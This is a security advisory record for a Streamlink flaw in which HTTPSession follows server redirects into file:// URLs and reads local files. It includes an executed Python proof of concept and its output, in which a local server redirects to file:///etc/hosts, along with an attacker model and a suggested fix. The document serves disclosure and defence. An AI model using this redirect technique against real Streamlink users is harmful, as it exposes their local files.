CVE-2026-92164: Streamlink HTTPSession Follows HTTP Redirects Into Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vf2x-4v53-pm7v",
  "modified" : "2026-09-24T14:58:04Z",
  "published" : "2026-09-24T14:58:04Z",
  "aliases" : [ "CVE-2026-92164" ],
  "summary" : "Streamlink: HTTPSession follows HTTP redirects into file:// URLs, reading local files",
  "details" : "## Summary\n\n`HTTPSession` mounts a `FileAdapter` for the `file://` scheme and inherits redirect handling\nunchanged from `requests.Session`. `requests` does not check for scheme downgrades or\ncross-protocol transitions when it follows a redirect, so any http(s) request Streamlink makes can\nbe redirected by the remote server into `file:///...` and the local file is returned as the\nresponse body.\n\n`GHSA-hgqw-6m45-hw5f` / `CVE-2026-44353` fixed direct `file://` segment and playlist URIs in HLS\nplaylists and DASH manifests. Those checks look at the URL as it appears in the manifest, so a\nmanifest that lists an ordinary `https://` URL passes them, and the redirect happens later at fetch\ntime. The attack surface is the same one that advisory describes, but the flaw is one level down in\n`HTTPSession` rather than in the streaming implementations, so it applies to every request the\nsession makes and not only to segment and manifest fetches.\n\n## Affected version\n\nExecuted against released `streamlink 8.5.0` (PyPI, installed into a clean venv on\nPython 3.12).\n\n## Attacker model\n\nThe attacker controls a URL the victim's Streamlink run reaches: a playlist or manifest URL passed\non the command line, or any http(s) URL referenced from attacker-controlled manifest content. No\nprivileges on the victim host and no `file://` input are required, and the `file://` scheme never\nappears in anything the victim or the manifest parser sees.\n\n## Proof of concept, executed\n\n```python\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nfrom streamlink.exceptions import StreamError\nfrom streamlink.session.http import HTTPSession\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        if self.path == \"/segment\":\n            self.send_response(302)\n            self.send_header(\"Location\", \"file:///etc/hosts\")\n            self.end_headers()\n        else:\n            self.send_response(404)\n            self.end_headers()\n\n    def log_message(self, *a):\n        pass\n\nsrv = HTTPServer((\"127.0.0.1\", 0), H)\nport = srv.server_port\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\n\ns = HTTPSession()\nres = s.get(f\"http://127.0.0.1:{port}/segment\", exception=StreamError, timeout=5)\nprint(\"requested   http://127.0.0.1:%d/segment\" % port)\nprint(\"final_url  \", res.url)\nprint(\"status     \", res.status_code)\nprint(\"content    \", res.content[:40])\nsrv.shutdown()\n```\n\nOutput:\n\n```text\nrequested   http://127.0.0.1:52205/segment\nfinal_url   file:///etc/hosts\nstatus      200\ncontent     b'##\\n# Host Database\\n#\\n# localhost is used'\n```\n\nThe request goes out over http, the response comes back from the local filesystem, and nothing in\nbetween rejects the scheme change. Substituting a path the attacker wants read for `/etc/hosts`\nreturns that file's contents into whatever consumes the response, which for a segment fetch means\nthe file is written into the stream output.\n\n## Suggested fix\n\nOverride `get_redirect_target()` or `resolve_redirects()` on `HTTPSession` and reject a redirect\nwhose target scheme is not the same as the request's scheme or a permitted upgrade of it. Doing it\non the session rather than through a response hook keeps plugin authors from removing the check by\noverriding hooks. Custom protocol adapters can still redirect, but only to `https` or to their own\nscheme.\n\n### AI tooling\n\nAI assistance was used for the code audit and for drafting this report. The finding was manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "streamlink"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.6.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 8.5.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/streamlink/streamlink/security/advisories/GHSA-vf2x-4v53-pm7v"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-92164"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/streamlink/streamlink/commit/4b99c64dde21ea70c24d9ffdbd15849b05f465c6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/streamlink/streamlink"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/streamlink/streamlink/releases/tag/8.6.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-73" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-24T14:58:04Z",
    "nvd_published_at" : "2026-09-23T15:17:29Z"
  }
}